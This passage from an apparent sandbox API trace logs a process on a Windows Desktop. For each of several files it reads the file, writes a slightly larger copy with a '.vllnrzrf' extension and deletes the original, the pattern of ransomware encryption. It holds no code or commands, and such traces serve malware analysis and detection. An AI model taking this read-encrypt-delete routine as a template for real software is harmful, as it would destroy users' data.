lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", lpFilePart=0x0) returned 0x3b [0086.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", lpFilePart=0x0) returned 0x3b [0086.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-i1 wkzguxjy_w46b.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.107] GetFileType (hFile=0x45c) returned 0x1 [0086.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.107] GetFileType (hFile=0x45c) returned 0x1 [0086.107] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xc8d2 [0086.107] ReadFile (in: hFile=0x45c, lpBuffer=0x226c1d0, nNumberOfBytesToRead=0xc8d2, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x226c1d0*, lpNumberOfBytesRead=0x1d00e478*=0xc8d2, lpOverlapped=0x0) returned 1 [0086.108] CloseHandle (hObject=0x45c) returned 1 [0086.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv.vllnrzrf", lpFilePart=0x0) returned 0x44 [0086.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-i1 wkzguxjy_w46b.csv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.128] GetFileType (hFile=0x45c) returned 0x1 [0086.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.128] GetFileType (hFile=0x45c) returned 0x1 [0086.128] WriteFile (in: hFile=0x45c, lpBuffer=0x22b2ca0*, nNumberOfBytesToWrite=0xcad2, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22b2ca0*, lpNumberOfBytesWritten=0x1d00e4d8*=0xcad2, lpOverlapped=0x0) returned 1 [0086.134] CloseHandle (hObject=0x45c) returned 1 [0086.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", lpFilePart=0x0) returned 0x3b [0086.137] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", lpFilePart=0x0) returned 0x3b [0086.137] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-i1 wkzguxjy_w46b.csv")) returned 1 [0086.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", lpFilePart=0x0) returned 0x30 [0086.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", lpFilePart=0x0) returned 0x30 [0086.141] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", lpFilePart=0x0) returned 0x30 [0086.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\08scpz.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.141] GetFileType (hFile=0x45c) returned 0x1 [0086.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.141] GetFileType (hFile=0x45c) returned 0x1 [0086.141] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x8647 [0086.141] ReadFile (in: hFile=0x45c, lpBuffer=0x22c3718, nNumberOfBytesToRead=0x8647, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22c3718*, lpNumberOfBytesRead=0x1d00e478*=0x8647, lpOverlapped=0x0) returned 1 [0086.142] CloseHandle (hObject=0x45c) returned 1 [0086.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif.vllnrzrf", lpFilePart=0x0) returned 0x39 [0086.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\08scpz.gif.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.235] GetFileType (hFile=0x45c) returned 0x1 [0086.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.235] GetFileType (hFile=0x45c) returned 0x1 [0086.235] WriteFile (in: hFile=0x45c, lpBuffer=0x23048e0*, nNumberOfBytesToWrite=0x8847, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x23048e0*, lpNumberOfBytesWritten=0x1d00e4d8*=0x8847, lpOverlapped=0x0) returned 1 [0086.236] CloseHandle (hObject=0x45c) returned 1 [0086.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", lpFilePart=0x0) returned 0x30 [0086.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif", lpFilePart=0x0) returned 0x30 [0086.241] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\08ScPz.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\08scpz.gif")) returned 1 [0086.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", lpFilePart=0x0) returned 0x35 [0086.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", lpFilePart=0x0) returned 0x35 [0086.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", lpFilePart=0x0) returned 0x35 [0086.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2khv_cpwll0.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.244] GetFileType (hFile=0x45c) returned 0x1 [0086.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.244] GetFileType (hFile=0x45c) returned 0x1 [0086.244] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x18ace [0086.244] ReadFile (in: hFile=0x45c, lpBuffer=0x12254e18, nNumberOfBytesToRead=0x18ace, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x12254e18*, lpNumberOfBytesRead=0x1d00e478*=0x18ace, lpOverlapped=0x0) returned 1 [0086.246] CloseHandle (hObject=0x45c) returned 1 [0086.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf.vllnrzrf", lpFilePart=0x0) returned 0x3e [0086.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2khv_cpwll0.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.269] GetFileType (hFile=0x45c) returned 0x1 [0086.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.269] GetFileType (hFile=0x45c) returned 0x1 [0086.269] WriteFile (in: hFile=0x45c, lpBuffer=0x122e8fd0*, nNumberOfBytesToWrite=0x18cce, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x122e8fd0*, lpNumberOfBytesWritten=0x1d00e4d8*=0x18cce, lpOverlapped=0x0) returned 1 [0086.272] CloseHandle (hObject=0x45c) returned 1 [0086.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", lpFilePart=0x0) returned 0x35 [0086.277] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf", lpFilePart=0x0) returned 0x35 [0086.277] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2khV_cpWll0.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2khv_cpwll0.swf")) returned 1 [0086.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", lpFilePart=0x0) returned 0x36 [0086.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", lpFilePart=0x0) returned 0x36 [0086.281] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", lpFilePart=0x0) returned 0x36 [0086.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qdclxtecehn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.281] GetFileType (hFile=0x45c) returned 0x1 [0086.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.281] GetFileType (hFile=0x45c) returned 0x1 [0086.281] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x16bee [0086.282] ReadFile (in: hFile=0x45c, lpBuffer=0x12301cd8, nNumberOfBytesToRead=0x16bee, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x12301cd8*, lpNumberOfBytesRead=0x1d00e478*=0x16bee, lpOverlapped=0x0) returned 1 [0086.285] CloseHandle (hObject=0x45c) returned 1 [0086.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp.vllnrzrf", lpFilePart=0x0) returned 0x3f [0086.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qdclxtecehn.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.313] GetFileType (hFile=0x45c) returned 0x1 [0086.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.313] GetFileType (hFile=0x45c) returned 0x1 [0086.313] WriteFile (in: hFile=0x45c, lpBuffer=0x1238a4d0*, nNumberOfBytesToWrite=0x16dee, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x1238a4d0*, lpNumberOfBytesWritten=0x1d00e4d8*=0x16dee, lpOverlapped=0x0) returned 1 [0086.317] CloseHandle (hObject=0x45c) returned 1 [0086.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", lpFilePart=0x0) returned 0x36 [0086.319] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp", lpFilePart=0x0) returned 0x36 [0086.319] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2qdClxTecehN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qdclxtecehn.bmp")) returned 1 [0086.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", lpFilePart=0x0) returned 0x3b [0086.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", lpFilePart=0x0) returned 0x3b [0086.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", lpFilePart=0x0) returned 0x3b [0086.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3llldbcsrecfd6r k.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.323] GetFileType (hFile=0x45c) returned 0x1 [0086.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.323] GetFileType (hFile=0x45c) returned 0x1 [0086.323] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x10ca [0086.324] ReadFile (in: hFile=0x45c, lpBuffer=0x2356d00, nNumberOfBytesToRead=0x10ca, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2356d00*, lpNumberOfBytesRead=0x1d00e478*=0x10ca, lpOverlapped=0x0) returned 1 [0086.325] CloseHandle (hObject=0x45c) returned 1 [0086.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf.vllnrzrf", lpFilePart=0x0) returned 0x44 [0086.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3llldbcsrecfd6r k.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.331] GetFileType (hFile=0x45c) returned 0x1 [0086.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.331] GetFileType (hFile=0x45c) returned 0x1 [0086.331] WriteFile (in: hFile=0x45c, lpBuffer=0x2361c50*, nNumberOfBytesToWrite=0x12ca, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2361c50*, lpNumberOfBytesWritten=0x1d00e4d8*=0x12ca, lpOverlapped=0x0) returned 1 [0086.333] CloseHandle (hObject=0x45c) returned 1 [0086.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", lpFilePart=0x0) returned 0x3b [0086.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf", lpFilePart=0x0) returned 0x3b [0086.337] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3llldBCsrEcFD6R k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3llldbcsrecfd6r k.swf")) returned 1 [0086.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", lpFilePart=0x0) returned 0x33 [0086.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", lpFilePart=0x0) returned 0x33 [0086.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", lpFilePart=0x0) returned 0x33 [0086.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.339] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86l0tmbbc.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.339] GetFileType (hFile=0x45c) returned 0x1 [0086.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.339] GetFileType (hFile=0x45c) returned 0x1 [0086.339] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x65b5 [0086.340] ReadFile (in: hFile=0x45c, lpBuffer=0x2363ab0, nNumberOfBytesToRead=0x65b5, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2363ab0*, lpNumberOfBytesRead=0x1d00e478*=0x65b5, lpOverlapped=0x0) returned 1 [0086.341] CloseHandle (hObject=0x45c) returned 1 [0086.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp.vllnrzrf", lpFilePart=0x0) returned 0x3c [0086.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0086.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86l0tmbbc.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0086.353] GetFileType (hFile=0x45c) returned 0x1 [0086.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0086.353] GetFileType (hFile=0x45c) returned 0x1 [0086.354] WriteFile (in: hFile=0x45c, lpBuffer=0x2395b80*, nNumberOfBytesToWrite=0x67b5, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2395b80*, lpNumberOfBytesWritten=0x1d00e4d8*=0x67b5, lpOverlapped=0x0) returned 1 [0086.355] CloseHandle (hObject=0x45c) returned 1 [0086.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", lpFilePart=0x0) returned 0x33 [0086.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp", lpFilePart=0x0) returned 0x33 [0086.357] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\86l0TMBBc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\86l0tmbbc.bmp")) returned 1 [0086.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", lpFilePart=0x0) returned 0x31 [0086.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", lpFilePart=0x0) returned 0x31 [0086.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8XdpR9K.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: 